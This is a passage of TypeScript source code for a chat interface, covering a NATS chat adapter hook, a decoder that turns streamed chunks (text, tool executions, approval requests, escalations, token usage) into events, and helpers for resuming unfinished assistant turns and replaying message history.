[isManagedMode],\n  );\n\n  const startNewDialog = useCallback(async (): Promise<string | null> => {\n    if (!createDialogCallback) return null;\n    if (isCreatingDialog) return null;\n    try {\n      setIsCreatingDialog(true);\n      const result = await createDialogCallback();\n      // Optimistically prepend a placeholder dialog so the sidebar shows\n      // the new conversation immediately. The next list refresh will\n      // replace it with the canonical entry.\n      upsertDialogTop({\n        id: result.dialogId,\n        title: 'New Chat',\n        timestamp: new Date(),\n      });\n      if (isManagedMode) {\n        setInternalDialogId(result.dialogId);\n      }\n      return result.dialogId;\n    } catch (err) {\n      console.error('[useNatsChatAdapter] createDialog failed:', err);\n      return null;\n    } finally {\n      setIsCreatingDialog(false);\n    }\n  }, [createDialogCallback, isCreatingDialog, isManagedMode, upsertDialogTop]);\n\n  const loadMoreMessages = useCallback(async (): Promise<void> => {\n    if (!dialogId || !messagesNextCursor) return;\n    await loadDialogHistory(dialogId, messagesNextCursor);\n  }, [dialogId, messagesNextCursor, loadDialogHistory]);\n\n  const approveRequest = useCallback(async (requestId: string) => {\n    await handleApproveRef.current(requestId);\n  }, []);\n\n  const rejectRequest = useCallback(async (requestId: string, reason?: string) => {\n    await handleRejectRef.current(requestId, reason);\n  }, []);\n\n  // \"Ask Mingo\" on an inline entity card. The agent transport has NO\n  // entity-id-filtered retrieval (its `ContextItemType` enum covers DEVICE /\n  // SCRIPT / TICKET / ORGANIZATION / USER / KB_ARTICLE / POLICY / QUERY /\n  // SCHEDULED_SCRIPT — no content types), so unlike the SSE path there is no\n  // `commandOverride.entityIdFilter` to send: the prompt carries the type + id\n  // as text and the agent resolves the row itself. Same sentence as guide mode\n  // (shared builder) so the affordance reads identically in both.\n  //\n  // This used to be a no-op, which made the card's \"Ask Mingo\" menu item dead\n  // in Mingo mode. Swap `includeReference` for a structured filter once the\n  // agent backend accepts one.\n  const discussRef = useCallback(\n    (reference: ChatRef) => {\n      const prompt = buildDiscussPrompt(reference, { includeReference: true });\n      // Menu-item click, so there is no composer promise for the rejection to\n      // surface through — a bare `void` would leave it unhandled. Logged in the\n      // same shape as `stopMessage`'s. NOTE: recovering the optimistic rows and\n      // the stuck `thinking` phase after a failed publish is a `sendMessage`\n      // concern (it affects composer sends identically) and is not done here.\n      void sendMessage(prompt).catch((err: unknown) => {\n        console.error('[useNatsChatAdapter] discussRef send failed:', err);\n      });\n    },\n    [sendMessage],\n  );\n  // No `displayRef` here: it dispatches a `/… display \"<x>\"` slash command and\n  // the agent transport has no slash-command registry. OMITTED rather than\n  // stubbed — the card menu gates on the callback's presence, so a stub costs\n  // the row \"Ask Mingo\", which does work in Mingo mode.\n\n  // ─── Return shape ─────────────────────────────────────────────────────────\n\n  const { messages, streamingPhase, dialogTokenUsage = null, liveModel = null } = state;\n  const isLoading = streamingPhase !== 'idle';\n  const hasMoreMessages = messagesNextCursor != null;\n\n  // The conversation-list capability object — ALWAYS present: this is the\n  // Mingo transport, whose panel owns a dialog list whether or not the host\n  // wired paging (an unmanaged config just has nothing in it, and the panel\n  // renders the same empty \"Current Chats\" surface it always has). Each field\n  // is gated on its own callback, the rule used throughout this file: the\n  // presence of a callback IS the capability.\n  const dialogCapabilities = useMemo<ChatDialogCapabilities>(\n    () => ({\n      canRename: isManagedMode && !!renameDialogCallback,\n      canArchive: isManagedMode && !!archiveDialogCallback,\n      fetchArchivedDialogs: isManagedMode ? fetchArchivedDialogs : undefined,\n      unarchiveDialog: isManagedMode ? unarchiveDialog : undefined,\n    }),\n    [isManagedMode, renameDialogCallback, archiveDialogCallback, fetchArchivedDialogs, unarchiveDialog],\n  );\n\n  return useMemo<UnifiedChatState>(\n    () => ({\n      messages,\n      isLoading,\n      streamingPhase,\n      sendMessage,\n      stopMessage,\n      clearMessages,\n      discussRef,\n      // Model badge + token usage for the composer's `<ModelDisplay>`.\n      // Model: live `metadata` frame → config baseline (host AI-config).\n      // Tokens: live `token_usage` frame / dialog snapshot (`dialogTokenUsage`).\n      // contextWindow uses the dialog's `contextSize` (the \"X / Y\" denominator,\n      // matching the /mingo page). cacheHitRate/breakdown are SSE-only → null.\n      currentProvider: liveModel?.provider ?? modelProvider ?? null,\n      currentModelLabel: liveModel?.modelLabel ?? modelLabel ?? null,\n      currentContextWindowMaxTokens: dialogTokenUsage?.contextSize ?? liveModel?.contextWindowMaxTokens ?? null,\n      currentInputTokens: dialogTokenUsage?.inputTokensSize ?? null,\n      currentOutputTokens: dialogTokenUsage?.outputTokensSize ?? null,\n      currentCacheHitRatePct: null,\n      currentUsageBreakdown: null,\n      // Dialog management\n      dialogs,\n      activeDialogId: dialogId,\n      selectDialog,\n      startNewDialog,\n      deleteDialog,\n      renameDialog,\n      archiveDialog,\n      isDialogsLoading: isDialogsLoading || isCreatingDialog,\n      dialogsError,\n      reloadDialogs,\n      isMessagesLoading,\n      hasMoreDialogs,\n      loadMoreDialogs,\n      hasMoreMessages,\n      loadMoreMessages,\n      dialogCapabilities,\n      // Approval mutations\n      approveRequest,\n      rejectRequest,\n      // Token usage\n      dialogTokenUsage,\n      // Connection state\n      connectionState,\n    }),\n    [\n      messages,\n      isLoading,\n      streamingPhase,\n      sendMessage,\n      stopMessage,\n      clearMessages,\n      discussRef,\n      dialogs,\n      dialogId,\n      selectDialog,\n      startNewDialog,\n      deleteDialog,\n      renameDialog,\n      archiveDialog,\n      isDialogsLoading,\n      dialogsError,\n      reloadDialogs,\n      isCreatingDialog,\n      isMessagesLoading,\n      hasMoreDialogs,\n      loadMoreDialogs,\n      hasMoreMessages,\n      loadMoreMessages,\n      dialogCapabilities,\n      approveRequest,\n      rejectRequest,\n      dialogTokenUsage,\n      liveModel,\n      modelProvider,\n      modelLabel,\n      connectionState,\n    ],\n  );\n}\n","/**\n * NATS chunk → normalized `ChatStreamEvent` decoder.\n *\n * THE live NATS reading path — the ONLY chunk parser in the codebase. Every\n * consumer (this lib's `useNatsChatAdapter`, the hub, the product app) feeds\n * raw chunks through `decodeNatsChunk` into `createChatStreamReducer`. The\n * legacy `components/chat/utils/chunk-parser.ts` (`parseChunkToAction`) that\n * this module superseded was DELETED — do not reintroduce a second decoder.\n *\n * Chunks map onto the transport-agnostic event union, with the JetStream\n * `streamSeq` lifted into the `seq` envelope (the reducer's idempotency gate\n * keys off it).\n *\n * Behavior is pinned by `__tests__/nats-decoder-golden.test.ts`.\n *\n * Server-safe: no React, no browser APIs.\n */\n\nimport { MESSAGE_TYPE } from '../components/chat/types/message.types';\nimport type { AskOptionData } from '../components/chat/types/message.types';\nimport { ESCALATION_STATE, escalationResolvedStatus } from './events';\nimport type { ApprovalToolCall, ChatStreamEvent } from './events';\nimport { sourceMetadataEvent } from './source-metadata';\nimport { isRecord } from './wire-narrow';\n\n/** Minimal structural view of a NATS chunk (see `ChunkData` in\n *  `src/components/chat/types/network.types.ts`). */\ntype NatsChunk = Record<string, unknown>;\n\n/** Wire string field, or `undefined` when the backend sent anything else. */\nfunction str(value: unknown): string | undefined {\n  return typeof value === 'string' ? value : undefined;\n}\n\n/** Wire string field with a default — replaces the old `data.x || 'y'`, which\n *  also let non-strings through under an `any` chunk type. */\nfunction strOr(value: unknown, fallback = ''): string {\n  const s = str(value);\n  return s ? s : fallback;\n}\n\n/** Wire number field with a default. */\nfunction numOr(value: unknown, fallback = 0): number {\n  return typeof value === 'number' ? value : fallback;\n}\n\n/** Coerce the wire's `toolCalls[]` into the batch-approval shape, dropping\n *  non-object entries and defaulting every field. */\nfunction normalizeToolCalls(raw: unknown): ApprovalToolCall[] {\n  if (!Array.isArray(raw)) return [];\n  return raw.filter(isRecord).map(item => ({\n    toolExecutionRequestId: String(item.toolExecutionRequestId ?? ''),\n    toolName: String(item.toolName ?? ''),\n    toolTitle: typeof item.toolTitle === 'string' ? item.toolTitle : undefined,\n    toolExplanation: typeof item.toolExplanation === 'string' ? item.toolExplanation : undefined,\n    toolType: typeof item.toolType === 'string' ? item.toolType : undefined,\n    requiresApproval: item.requiresApproval === true,\n    approvalType: typeof item.approvalType === 'string' ? item.approvalType : null,\n    toolCallArguments: isRecord(item.toolCallArguments) ? item.toolCallArguments : null,\n  }));\n}\n\n/** Coerce the wire's ask `options[]` into the card's row shape. Rows without a\n *  usable `label` are dropped: the label is what gets SENT when the row is\n *  picked, so a blank one would post an empty reply. */\nexport function normalizeAskOptions(raw: unknown): AskOptionData[] {\n  if (!Array.isArray(raw)) return [];\n  return raw\n    .filter(isRecord)\n    .map(item => ({\n      label: typeof item.label === 'string' ? item.label.trim() : '',\n      description: typeof item.description === 'string' ? item.description : undefined,\n    }))\n    .filter(option => option.label.length > 0);\n}\n\n/**\n * Parse one raw NATS chunk into a normalized event. Returns `null` for\n * unknown/malformed chunks — an unrecognized `type`, a missing required\n * field, or a non-object payload are all tolerated as no-ops rather than\n * throwing, so a backend that adds a chunk type can't break the stream.\n */\nexport function decodeNatsChunk(chunk: unknown): ChatStreamEvent | null {\n  if (!chunk || typeof chunk !== 'object') return null;\n\n  const data = chunk as NatsChunk;\n  const type = String(data.type || '');\n  // JetStream stream sequence → the generic `seq` envelope.\n  const seq: { seq?: number } = typeof data.streamSeq === 'number' ? { seq: data.streamSeq } : {};\n\n  switch (type) {\n    case MESSAGE_TYPE.MESSAGE_START:\n      return { type: 'turn-start', ...seq };\n\n    case MESSAGE_TYPE.MESSAGE_END:\n      return { type: 'turn-end', ...seq };\n\n    case MESSAGE_TYPE.AI_METADATA: {\n      const providerName = data.providerName || data.provider;\n      if (typeof data.modelName === 'string' && typeof providerName === 'string') {\n        return {\n          type: 'metadata',\n          modelLabel: str(data.modelDisplayName),\n          modelName: data.modelName,\n          provider: providerName,\n          contextWindowMaxTokens: typeof data.contextWindow === 'number' ? data.contextWindow : 0,\n          ...seq,\n        };\n      }\n      return null;\n    }\n\n    case MESSAGE_TYPE.TEXT:\n      if (typeof data.text === 'string') {\n        return { type: 'text-delta', text: data.text, ...seq };\n      }\n      return null;\n\n    case MESSAGE_TYPE.THINKING:\n      if (typeof data.text === 'string') {\n        return { type: 'thinking-delta', text: data.text, ...seq };\n      }\n      return null;\n\n    // Two chunk names, one payload and one decoder. `SOURCES` is the contract\n    // the backend is moving to; `GUIDE` is the v2 envelope it ships in during\n    // the rollout (see `MESSAGE_TYPE.GUIDE`). The chunk arrives BEFORE or\n    // between the answer's text deltas, so the reducer — not this decoder —\n    // owns attaching it to the right turn.\n    case MESSAGE_TYPE.GUIDE:\n    case MESSAGE_TYPE.SOURCES: {\n      const event = sourceMetadataEvent(data.payload);\n      return event ? { ...event, ...seq } : null;\n    }\n\n    // An ask card is only an ask card with something to pick: a question and at\n    // least one option. Anything less is dropped rather than rendered as an\n    // empty card the user can't answer — the backend already falls back to a\n    // complete hardcoded card when the model returns a partial one.\n    case MESSAGE_TYPE.ASK: {\n      const question = typeof data.question === 'string' ? data.question.trim() : '';\n      const options = normalizeAskOptions(data.options);\n      if (!question || options.length === 0) return null;\n      return {\n        type: 'ask',\n        ...(typeof data.text === 'string' && data.text ? { text: data.text } : {}),\n        question,\n        options,\n        ...seq,\n      };\n    }\n\n    case MESSAGE_TYPE.EXECUTING_TOOL:\n      return {\n        type: 'tool-execution',\n        data: {\n          type: 'EXECUTING_TOOL',\n          integratedToolType: strOr(data.integratedToolType),\n          toolFunction: strOr(data.toolFunction),\n          toolTitle: typeof data.title === 'string' ? data.title : undefined,\n          // The human-readable \"why this tool is running\" line rendered inside\n          // the tool card. It rides ONLY the EXECUTING chunk — the EXECUTED one\n          // never carries it, and the accumulator's merge preserves whatever\n          // the EXECUTING segment held. Dropping it here therefore blanks the\n          // card for the whole lifetime of the run.\n          toolExplanation: typeof data.toolExplanation === 'string' ? data.toolExplanation : undefined,\n          parameters: isRecord(data.parameters) ? data.parameters : undefined,\n          toolExecutionRequestId:\n            typeof data.toolExecutionRequestId === 'string' ? data.toolExecutionRequestId : undefined,\n        },\n        ...seq,\n      };\n\n    case MESSAGE_TYPE.EXECUTED_TOOL:\n      return {\n        type: 'tool-execution',\n        data: {\n          type: 'EXECUTED_TOOL',\n          integratedToolType: strOr(data.integratedToolType),\n          toolFunction: strOr(data.toolFunction),\n          toolTitle: typeof data.title === 'string' ? data.title : undefined,\n          parameters: isRecord(data.parameters) ? data.parameters : undefined,\n          result: str(data.result),\n          success: typeof data.success === 'boolean' ? data.success : undefined,\n          toolExecutionRequestId:\n            typeof data.toolExecutionRequestId === 'string' ? data.toolExecutionRequestId : undefined,\n        },\n        ...seq,\n      };\n\n    case MESSAGE_TYPE.APPROVAL_REQUEST: {\n      const requestId = strOr(data.approvalRequestId) || strOr(data.approval_request_id);\n      const approvalType = strOr(data.approvalType, 'USER');\n      const toolCalls = normalizeToolCalls(data.toolCalls);\n\n      if (toolCalls.length > 0) {\n        return { type: 'approval-request', requestId, approvalType, toolCalls, ...seq };\n      }\n\n      return {\n        type: 'approval-request',\n        requestId,\n        approvalType,\n        command: strOr(data.command),\n        explanation: str(data.explanation),\n        ...seq,\n      };\n    }\n\n    case MESSAGE_TYPE.APPROVAL_RESULT: {\n      // Realtime chunks carry the resolver's name as `displayName`; the\n      // persisted GraphQL message exposes the same value as\n      // `resolvedByName`. Accept either so realtime and history-replay\n      // render \"by {name}\" identically.\n      const resolvedByName =\n        typeof data.resolvedByName === 'string'\n          ? data.resolvedByName\n          : typeof data.displayName === 'string'\n            ? data.displayName\n            : undefined;\n      return {\n        type: 'approval-resolved',\n        requestId: strOr(data.approvalRequestId) || strOr(data.approval_request_id),\n        status: data.approved === true ? 'approved' : 'rejected',\n        approvalType: strOr(data.approvalType, 'CLIENT'),\n        resolvedByName,\n        ...seq,\n      };\n    }\n\n    case MESSAGE_TYPE.ESCALATION_OFFER: {\n      const offerId = typeof data.offerId === 'string' ? data.offerId : '';\n      if (!offerId) return null;\n      if (data.state === ESCALATION_STATE.PENDING) {\n        return {\n          type: 'escalation-offer',\n          offerId,\n          text: typeof data.text === 'string' ? data.text : '',\n          origin: typeof data.origin === 'string' ? data.origin : undefined,\n          ...seq,\n        };\n      }\n      const status = escalationResolvedStatus(data.state);\n      if (!status) return null;\n      // Same realtime/history field split as APPROVAL_RESULT: the chunk names\n      // the resolver `displayName`, the persisted row `resolvedByName`.\n      return {\n        type: 'escalation-offer-resolved',\n        offerId,\n        status,\n        resolvedByName:\n          typeof data.resolvedByName === 'string'\n            ? data.resolvedByName\n            : typeof data.displayName === 'string'\n              ? data.displayName\n              : undefined,\n        ...seq,\n      };\n    }\n\n    case MESSAGE_TYPE.TICKET_ESCALATED: {\n      const ticketId = typeof data.ticketId === 'string' ? data.ticketId : '';\n      const reason = typeof data.reason === 'string' ? data.reason : '';\n      // Both are non-null on the wire; a payload missing either is malformed\n      // rather than a variant to render.\n      if (!ticketId || !reason) return null;\n      return {\n        type: 'ticket-escalated',\n        ticketId,\n        reason,\n        ticketNumber: typeof data.ticketNumber === 'number' ? data.ticketNumber : undefined,\n        text: typeof data.text === 'string' ? data.text : undefined,\n        ...seq,\n      };\n    }\n\n    case MESSAGE_TYPE.TICKET_EVENT: {\n      // `kind` is the only required field, and deliberately an OPEN string:\n      // unknown kinds must render (as a neutral line), not be dropped.\n      const kind = typeof data.kind === 'string' ? data.kind.trim() : '';\n      if (!kind) return null;\n      // This chunk names its own JetStream sequence `sequenceId` in the\n      // payload (the persisted row's `lastChunkStreamSeq` equals it — the\n      // dedupe key). Prefer the transport-stamped `streamSeq` envelope like\n      // every other chunk; fall back to the payload copy when absent.\n      const eventSeq: { seq?: number } =\n        seq.seq !== undefined ? seq : typeof data.sequenceId === 'number' ? { seq: data.sequenceId } : {};\n      return {\n        type: 'ticket-event',\n        kind,\n        actorId: typeof data.actorId === 'string' ? data.actorId : undefined,\n        actorName: typeof data.actorName === 'string' ? data.actorName : undefined,\n        actorType: typeof data.actorType === 'string' ? data.actorType : undefined,\n        reason: typeof data.reason === 'string' && data.reason.trim() ? data.reason : undefined,\n        targetStatusKind:\n          typeof data.targetStatusKind === 'string' && data.targetStatusKind.trim() ? data.targetStatusKind : undefined,\n        ...eventSeq,\n      };\n    }\n\n    case MESSAGE_TYPE.ERROR:\n      return {\n        type: 'error',\n        title: strOr(data.error, 'An error occurred'),\n        details: str(data.details),\n        ...seq,\n      };\n\n    case MESSAGE_TYPE.MESSAGE_REQUEST:\n      return {\n        type: 'participant',\n        kind: 'message-request',\n        text: String(data.text || ''),\n        ownerType: typeof data.ownerType === 'string' ? data.ownerType : undefined,\n        displayName: typeof data.displayName === 'string' ? data.displayName : undefined,\n        userId: typeof data.userId === 'string' ? data.userId : undefined,\n        // Wire shape carries no label; fall back to the id (parity with\n        // the history path in `process-historical-messages.ts`).\n        contextItems: Array.isArray(data.contextItems)\n          ? (data.contextItems as Array<{ type?: unknown; id?: unknown }>)\n              .filter(it => typeof it?.type === 'string' && typeof it?.id === 'string')\n              .map(it => ({\n                type: it.type as string,\n                id: it.id as string,\n                label: it.id as string,\n              }))\n          : undefined,\n        ...seq,\n      };\n\n    case MESSAGE_TYPE.TOKEN_USAGE:\n      return {\n        type: 'token-usage',\n        inputTokensSize: numOr(data.inputTokensSize),\n        outputTokensSize: numOr(data.outputTokensSize),\n        totalTokensSize: numOr(data.totalTokensSize),\n        contextSize: numOr(data.contextSize),\n        ...seq,\n      };\n\n    case MESSAGE_TYPE.CONTEXT_COMPACTION_START:\n      return { type: 'compaction', phase: 'start', ...seq };\n\n    case MESSAGE_TYPE.CONTEXT_COMPACTION_END:\n      return {\n        type: 'compaction',\n        phase: 'end',\n        summary: typeof data.text === 'string' ? data.text : undefined,\n        ...seq,\n      };\n\n    case MESSAGE_TYPE.SYSTEM:\n      if (typeof data.text === 'string') {\n        return { type: 'participant', kind: 'system', text: data.text, ...seq };\n      }\n      return null;\n\n    case MESSAGE_TYPE.DIRECT_MESSAGE:\n      if (typeof data.text === 'string') {\n        return {\n          type: 'participant',\n          kind: 'direct-message',\n          text: data.text,\n          ownerType: typeof data.ownerType === 'string' ? data.ownerType : undefined,\n          displayName: typeof data.displayName === 'string' ? data.displayName : undefined,\n          userId: typeof data.userId === 'string' ? data.userId : undefined,\n          ...seq,\n        };\n      }\n      return null;\n\n    case MESSAGE_TYPE.DIALOG_CLOSED:\n      return { type: 'dialog-closed', ...seq };\n\n    default:\n      return null;\n  }\n}\n","/**\n * Utility for extracting incomplete message state from historical messages\n * Used to continue building messages across realtime connections\n */\n\nimport type { InitializeExtras } from '../stream/chat-stream-reducer';\nimport type { ProcessedMessage, MessageSegment, PendingApproval, ExecutingToolState } from '../types';\n\n/**\n * What the realtime accumulator needs to RESUME an unfinished turn.\n *\n * DERIVED, not restated: this is exactly the reducer's `InitializeExtras`\n * minus `escalatedApprovals` (which only the live stream can produce — it has\n * no historical representation to extract). Hosts pass the result straight\n * into `reducer.initializeWithState(messages, extras)`, so the two must not\n * drift; a structural coincidence is not a contract.\n */\nexport type IncompleteMessageState = Omit<InitializeExtras, 'escalatedApprovals'>;\n\n/**\n * Extract incomplete message state from the last historical assistant message\n * Used to initialize realtime chunk processor when continuing an incomplete message\n */\nexport function extractIncompleteMessageState(\n  lastMessage: ProcessedMessage | undefined,\n): IncompleteMessageState | undefined {\n  if (!lastMessage || lastMessage.role !== 'assistant' || typeof lastMessage.content === 'string') {\n    return undefined;\n  }\n\n  const segments = lastMessage.content;\n  const pendingApprovals = new Map<string, PendingApproval>();\n  const executingTools = new Map<string, ExecutingToolState>();\n  let hasIncompleteState = false;\n  // \"Incomplete\" and \"the agent is working\" are DIFFERENT questions, and only\n  // the second one drives the activity indicator. A pending approval is the\n  // clearest case of incomplete-but-idle: the turn is unfinished precisely\n  // BECAUSE the agent is blocked on the user, and spinning there claims work\n  // that is not happening. Everything below is the complement of that.\n  let agentBusy = false;\n\n  segments.forEach((segment, index) => {\n    const isLast = index === segments.length - 1;\n    switch (segment.type) {\n      case 'tool_execution':\n        if (segment.data.type === 'EXECUTING_TOOL') {\n          const toolKey =\n            segment.data.toolExecutionRequestId || `${segment.data.integratedToolType}-${segment.data.toolFunction}`;\n          executingTools.set(toolKey, {\n            integratedToolType: segment.data.integratedToolType,\n            toolFunction: segment.data.toolFunction,\n            toolTitle: segment.data.toolTitle,\n            toolExplanation: segment.data.toolExplanation,\n            parameters: segment.data.parameters,\n          });\n          hasIncompleteState = true;\n          // An EXECUTING with no result: the tool is running right now.\n          agentBusy = true;\n        }\n        break;\n\n      case 'approval_request':\n        if (segment.status === 'pending' && segment.data.requestId) {\n          pendingApprovals.set(segment.data.requestId, {\n            command: segment.data.command,\n            explanation: segment.data.explanation,\n            approvalType: segment.data.approvalType || 'CLIENT',\n          });\n          hasIncompleteState = true;\n        } else if (isLast && segment.status === 'approved') {\n          // The user said yes and the agent has produced NOTHING since — it is\n          // executing the command. Position is the only signal here: unlike a\n          // batch, a single request carries no execution record, so an approved\n          // request that already ran is recognised by the work that follows it.\n          //\n          // This also has to mark the tail incomplete, or the state never\n          // reaches the reducer at all — and the continuation, when it replays,\n          // must merge into THIS bubble rather than open a second one.\n          hasIncompleteState = true;\n          agentBusy = true;\n        }\n        break;\n\n      case 'approval_batch': {\n        // Treat a batch as in-progress until every tool call has a\n        // `done` execution OR the batch was rejected. Otherwise the realtime\n        // accumulator won't hold the segment and post-approval EXECUTED_TOOL\n        // chunks won't be able to merge into it via `applyExecutionToBatch`.\n        const allDone =\n          !!segment.data.executions &&\n          segment.data.toolCalls.every(c => segment.data.executions?.[c.toolExecutionRequestId]?.status === 'done');\n        if (segment.status !== 'rejected' && !allDone) {\n          hasIncompleteState = true;\n        }\n        // Approved with tool calls still outstanding — the agent is running\n        // them. The execution record makes this position-independent: once\n        // every call is `done` the batch stops claiming work.\n        if (segment.status === 'approved' && !allDone) {\n          agentBusy = true;\n        }\n        break;\n      }\n\n      case 'escalation_offer':\n        // A pending offer leaves the turn unfinished so the reducer holds the\n        // card and the resolution chunk can flip it in place. It never sets\n        // `agentBusy`: Fae is blocked on the user's decision, and on approval\n        // she goes SILENT rather than resuming — there is no work to spin for.\n        if (!segment.status || segment.status === 'pending') {\n          hasIncompleteState = true;\n        }\n        break;\n\n      case 'context_compaction':\n        if (segment.status === 'started') {\n          hasIncompleteState = true;\n          // Compaction is the agent's own work, not a wait on the user.\n          agentBusy = true;\n        }\n        break;\n\n      // Segment kinds that can NEVER leave a turn resumable. Listed rather than\n      // swept up by `default` so the `never` below stays reachable-by-type-only:\n      // a new segment kind then fails the build HERE, instead of silently\n      // reading as \"turn finished\" and stranding a live turn on reconnect.\n      //\n      // - `text` / `thinking` / `guide` are delta streams with no completeness\n      //   flag; a body cut off mid-stream is indistinguishable from a finished\n      //   one, and calling every trailing paragraph unfinished would resume\n      //   every turn in the thread.\n      // - `ask` closes the turn: the assistant handed a choice back to the user\n      //   and stopped. The pick returns as a NEW user message.\n      // - `ticket_escalated` / `ticket_event` are standalone receipts delivered\n      //   outside MESSAGE_START/END — there is no agent turn to continue.\n      // - `error` ended the turn; resuming it would re-open a bubble the\n      //   backend has already abandoned.\n      case 'text':\n      case 'thinking':\n      case 'ask':\n      case 'ticket_escalated':\n      case 'ticket_event':\n      case 'error':\n        break;\n\n      default: {\n        const _exhaustive: never = segment;\n        void _exhaustive;\n        break;\n      }\n    }\n  });\n\n  if (!hasIncompleteState) {\n    return undefined;\n  }\n\n  return {\n    existingSegments: segments,\n    pendingApprovals: pendingApprovals.size > 0 ? pendingApprovals : undefined,\n    executingTools: executingTools.size > 0 ? executingTools : undefined,\n    ...(agentBusy ? { agentBusy: true } : {}),\n  };\n}\n\n/**\n * THREAD-level generalization of `extractIncompleteMessageState`: given a\n * processed thread, look at the TRAILING RUN of consecutive assistant\n * messages (not just the very last row), flatten it to one segment list, and\n * ask the single-message extractor whether that tail is unfinished.\n *\n * Why the run and not the last row: the backend can split one logical turn\n * across several assistant messages (a preamble bubble, then the approval\n * card, then the continuation). The unfinished artifact — a pending approval,\n * an EXECUTING_TOOL with no result, an open compaction — can therefore sit in\n * an EARLIER bubble of the same trailing run, and a last-row-only check\n * reports \"complete\" while the turn is very much still in flight.\n *\n * SSOT for every \"is the tail incomplete?\" question — the NATS adapter (which\n * used to inline the single-row check) and hosts replaying a stored thread\n * both call this instead of re-deriving the walk.\n *\n * A trailing non-assistant row (user / error) means the last turn closed →\n * `undefined`.\n */\nexport function extractIncompleteTailState(\n  messages: readonly ProcessedMessage[] | undefined,\n): IncompleteMessageState | undefined {\n  if (!messages || messages.length === 0) return undefined;\n\n  // Walk back over the trailing consecutive assistant run.\n  let start = messages.length;\n  while (start > 0 && messages[start - 1]?.role === 'assistant') start -= 1;\n  if (start === messages.length) return undefined;\n\n  const segments: MessageSegment[] = [];\n  for (let i = start; i < messages.length; i += 1) {\n    const content = messages[i]?.content;\n    // A string-content assistant row is a plain-text bubble with nothing to\n    // resume; skip it rather than aborting — a later row in the same run may\n    // still hold the unfinished segment.\n    if (Array.isArray(content)) segments.push(...content);\n  }\n  if (segments.length === 0) return undefined;\n\n  // Reuse the single-message extractor verbatim by handing it a synthetic\n  // assistant row carrying the flattened run — one incompleteness rule set,\n  // not two.\n  return extractIncompleteMessageState({\n    ...messages[messages.length - 1],\n    role: 'assistant',\n    content: segments,\n  });\n}\n","/**\n * Utility for processing historical messages from GraphQL/API into\n * display-ready format.\n *\n * Phase 3 of the chat unification reduced this file to DECODE + ENVELOPE:\n *\n *   - `decodeHistoricalMessageData` maps one persisted `MessageData` item\n *     into the shared `ChatStreamEvent` vocabulary (historical items share\n *     the MESSAGE_TYPE vocabulary with NATS chunks but are NOT full chunk\n *     envelopes — e.g. compaction summaries ride in `summary`, not `text`,\n *     and APPROVAL_RESULT rows carry `resolvedByName` directly);\n *   - `applyHistoryEvent` replays each decoded event into the shared\n *     per-turn kernel (`MessageSegmentAccumulator` — the same kernel the\n *     master `createChatStreamReducer` instantiates) with the\n *     history-specific approval semantics (display-all default, pending\n *     tracking + `flushPendingApprovals`, `approvalStatuses` overrides);\n *   - the ENVELOPE (user/assistant flush-grouping, OWNER_TYPE author /\n *     display-name / avatar resolution, standalone SYSTEM handling,\n *     per-message contextItems mapping, per-turn streamSeq MAX) lives ONCE\n *     in `processHistory` — the previous near-duplicate second copy was\n *     deleted (`processHistoricalMessagesWithErrors` is an alias; the two\n *     snapshots were byte-identical).\n *\n * Adapters then feed the processed rows into the reducer via\n * `initializeWithState` (see `useNatsChatAdapter.loadDialogHistory`).\n */\n\nimport {\n  ESCALATION_STATE,\n  errorDetailsMessage,\n  escalationResolvedStatus,\n  type ChatStreamEvent,\n} from '../../../chat-protocol/events';\n// One normalizer for ask rows, shared with the live decoder — history and the\n// stream must agree on which options are usable.\nimport { normalizeAskOptions } from '../../../chat-protocol/nats-decoder';\nimport { mergeSourceMetadata, sourceMetadataEvent, type SourceMetadata } from '../../../chat-protocol/source-metadata';\nimport { applyApprovalStatusToSegment } from '../stream/message-mutations';\nimport {\n  MESSAGE_TYPE,\n  OWNER_TYPE,\n  type AuthorType,\n  type ChatApprovalStatus,\n  type HistoricalMessage,\n  type PendingToolCallData,\n  type ProcessedMessage,\n  type MessageProcessingOptions,\n  type MessageData,\n  type MessageOwner,\n} from '../types';\nimport { approvalDisplaysInline } from './approval-display';\nimport { type MessageSegmentAccumulator, createMessageSegmentAccumulator } from './message-segment-accumulator';\nimport { getCommandText } from './tool-call-helpers';\n\nfunction getOwnerDisplayName(owner?: MessageOwner): string {\n  if (owner?.type === OWNER_TYPE.ADMIN && owner.user) {\n    const { firstName, lastName } = owner.user;\n    const name = [firstName, lastName].filter(Boolean).join(' ');\n    if (name) return name;\n  }\n  return owner?.type === OWNER_TYPE.ADMIN ? 'Admin' : 'You';\n}\n\n/** Per-message author avatar (e.g. an admin's profile photo) when the owner\n *  carries one. `imageUrl` may be relative; the host resolves it downstream. */\nfunction getOwnerAvatar(owner?: MessageOwner): string | undefined {\n  return owner?.user?.image?.imageUrl ?? undefined;\n}\n\nfunction pushStandaloneMessages(\n  processedMessages: ProcessedMessage[],\n  msg: HistoricalMessage,\n  messageDataArray: MessageData[],\n): void {\n  messageDataArray.forEach(data => {\n    if (data.type === MESSAGE_TYPE.SYSTEM && 'text' in data && data.text) {\n      processedMessages.push({\n        id: msg.id,\n        role: 'user',\n        content: '',\n        name: data.text,\n        authorType: 'system',\n        timestamp: new Date(msg.createdAt),\n        ...(typeof msg.lastChunkStreamSeq === 'number' ? { streamSeq: msg.lastChunkStreamSeq } : {}),\n      });\n    }\n  });\n}\n\n// =============================================================================\n// Decode — persisted MessageData item → shared ChatStreamEvent vocabulary\n// =============================================================================\n\n/**\n * Map one persisted `MessageData` item to a normalized `ChatStreamEvent`.\n * Thin shim over the NATS chunk decoder's core mapping — the differences\n * are exactly the persisted-row divergences from the realtime envelope:\n *\n *   - compaction summaries arrive in `summary` (realtime: `text`);\n *   - APPROVAL_RESULT rows carry `resolvedByName` (realtime chunks carry\n *     the resolver's name as `displayName`);\n *   - `approvalType` defaults to 'CLIENT' (legacy history parity;\n *     realtime defaults APPROVAL_REQUEST to 'USER');\n *   - batch `toolCalls` pass through verbatim (already the persisted\n *     `PendingToolCallData` shape — no normalization pass).\n *\n * Returns `null` for rows the assistant-turn path doesn't decode (SYSTEM\n * is handled by the envelope's standalone path; user TEXT rows are handled\n * by the envelope's user path).\n */\nexport function decodeHistoricalMessageData(data: MessageData): ChatStreamEvent | null {\n  switch (data.type) {\n    case MESSAGE_TYPE.TEXT:\n      if ('text' in data && data.text) {\n        return { type: 'text-delta', text: data.text };\n      }\n      return null;\n\n    case MESSAGE_TYPE.THINKING:\n      if ('text' in data && data.text) {\n        return { type: 'thinking-delta', text: data.text };\n      }\n      return null;\n\n    // Persisted source metadata, through the SAME decoder the live chunk uses\n    // (`sourceMetadataEvent`). That shared parse 